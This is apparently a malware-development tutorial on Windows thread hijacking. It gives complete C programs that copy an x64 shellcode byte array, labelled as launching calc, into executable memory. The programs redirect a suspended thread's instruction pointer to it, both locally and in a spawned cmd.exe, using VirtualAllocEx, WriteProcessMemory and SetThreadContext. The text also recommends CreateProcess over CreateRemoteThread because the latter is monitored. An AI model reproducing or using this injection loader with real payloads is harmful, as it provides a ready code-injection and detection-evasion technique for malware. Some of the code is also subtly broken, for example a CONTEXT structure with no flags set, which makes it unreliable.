Thread Hijacking

Thread Hijacking is a technique that can execute a payload with creating a new thread.

Hijacking a Local Thread

The steps to hijacking a local thread are as follows:

1.) Copy payload into a RWX buffer.

2.) Get a thread context that you want to hijack using the GetThreadContext() WinAPI or NT API equivalent. IMPORTANT: The thread must be in a suspended state.

3.) Set the Rip register to point to our buffer address

4.) Set the thread context using SetThreadContext() WINAPI or NTAPI equivilant.

5.) ResumeThread()

NOTE: In this example we are creating our own dummy thread in a suspended state. To suspend a thread, use SuspendThread(). Main threads cannot be Hijacked!

#include <stdio.h>
#include <wchar.h>
#include <windows.h>

// x64 Calc Shellcode
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


int fakeFunction() {
    wprintf(L"This is a fake function!");
}

int wmain(void) {
    // Start by Sacrificial Thread creating thread. Thread hijacking has to be performed on a Suspened Thread
    HANDLE hThread = NULL;
    LPVOID lpBuffer = NULL;

    lpBuffer = VirtualAlloc(0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpBuffer == NULL) {
        wprintf(L"Failed To Allocate Buffer %d\n", GetLastError());
    }

	memcpy(lpBuffer, Payload, sizeof(Payload));

    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&fakeFunction, NULL, CREATE_SUSPENDED, NULL);
    if (hThread == NULL) {
        wprintf(L"Failed to Create Thread %d\n", GetLastError());
        return -1;
    }

    CONTEXT lpThreadContext;
    if (!GetThreadContext(hThread, &lpThreadContext)) {
        wprintf(L"Failed Get Thread Context %d\n", GetLastError());
        return -1;       
    }

    lpThreadContext.Rip = lpBuffer;

	if (!SetThreadContext(hThread, &lpThreadContext)) {
        wprintf(L"Failed to Resume Thread %d\n", GetLastError());
        return -1;
	}

	ResumeThread(hThread);

	getchar();
	// Cleanup
	VirtualFree(lpBuffer, 0, MEM_RELEASE);
	CloseHandle(hThread);
    return 0;
}

Hijacking a Remote Thread

Like we did for hijacking a local thread, we will create a dummy thread in a remote process. We can do this with CreateRemoteThread but it's a highly abused and monitored WINAPI function. Instead, we will use CreateProcess

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

Some important notes on CreateProcess:

lpApplicationName: Is the file name of the executable to open. Example: cmd.exe

lpCommandLine: The parameters for the specified lpApplicationName. Alternatively it can be the full file path w/ parameters. Example: C:/Windows/System32/cmd.exe /k whoami

Hijacking The Remote Thread

Once we have our Process and Thread handles from CreateDummyProcess(), we can allocate a remote buffer and copy our shellcode to it.

After our shellcodes been copied to our victim process we grab the thread context and assign the buffer address to the Rip register before callin SetThreadContext and ResumeThread.

WaitForSingleObject sets our thread into an alertable state. This prevents the thread from prematurely closing.

#include <stdio.h>
#include <wchar.h>
#include <windows.h>


unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};


int wmain() {

    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    DWORD dProcessId, dThreadId = 0;

    LPVOID lpRemoteBuffer = NULL;

    CONTEXT lpThreadContext;

    if (!CreateDummyProcess(&hProcess, &hThread, &dProcessId, &dThreadId)) {
        wprintf("Failed to Create Dummy Process %d\n");
        return -1;
    }

    wprintf(L"Created Process: %d\n", dProcessId);

    // Allocate Remote Buffer in Dummy Process
    lpRemoteBuffer = VirtualAllocEx(hProcess, 0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpRemoteBuffer == NULL) {
        wprintf(L"Failed to Allocate Remote Buffer %d\n", GetLastError());
        return -1;
    }

    // Copy x65 Calc Shellcode to Remote Buffer
    if (!WriteProcessMemory(hProcess, lpRemoteBuffer, Payload, sizeof(Payload), NULL)) {
        wprintf(L"Failed to Copy Shellcode to Remote Buffer %d\n", GetLastError());
        return -1;
    }

    // Get Thread Context
    if (!GetThreadContext(hThread, &lpThreadContext)) {
        wprintf(L"Failed to Get Thread Context %d\n", GetLastError());
        return -1;
    }

    lpThreadContext.Rip = lpRemoteBuffer;

    if (!SetThreadContext(hThread, &lpThreadContext)) {
        wprintf(L"Failed to Set Thread Context %d\n", GetLastError());
        return -1;
    }

    ResumeThread(hThread);
    WaitForSingleObject(hThread, INFINITE);
    getchar();
    return 0;
}



BOOL CreateDummyProcess(OUT HANDLE* hProcess, OUT HANDLE* hThread, OUT DWORD* dProcessId, OUT DWORD* dThreadId) {
	WCHAR               wPath           [MAX_PATH * 2];
	WCHAR               wWinDir           [MAX_PATH];
    BOOL                isProcessCreated   = FALSE;
	STARTUPINFO         lpStartupInfo      = { 0 };
    PROCESS_INFORMATION lpProcessInfo      = { 0 };


    RtlSecureZeroMemory(&lpStartupInfo, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&lpProcessInfo, sizeof(PROCESS_INFORMATION));

    // Set the size of the strucure
    lpStartupInfo.cb = sizeof(STARTUPINFO);

    // Getting the value of the %WINDIR% environment variable
	if (!GetEnvironmentVariableW(L"WINDIR", wWinDir, MAX_PATH)) {
		printf("GetEnvironmentVariableW Failed %d\n", GetLastError());
		return FALSE;
	}

    wsprintf(wPath, L"%s\\System32\\%s", wWinDir, L"cmd.exe");

	// Creating the full target process path 
    isProcessCreated = CreateProcessW(
        NULL,
        wPath, 
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &lpStartupInfo,
        &lpProcessInfo
    );

    if (!isProcessCreated) {
        wprintf(L"Failed to Create Process %d\n", GetLastError());
        return FALSE;
    }

    // Dereference and assign values.
    *hProcess = lpProcessInfo.hProcess;
    *hThread = lpProcessInfo.hThread;
    *dProcessId = lpProcessInfo.dwProcessId;
    *dThreadId = lpProcessInfo.dwThreadId;
    return TRUE;
}

Last updated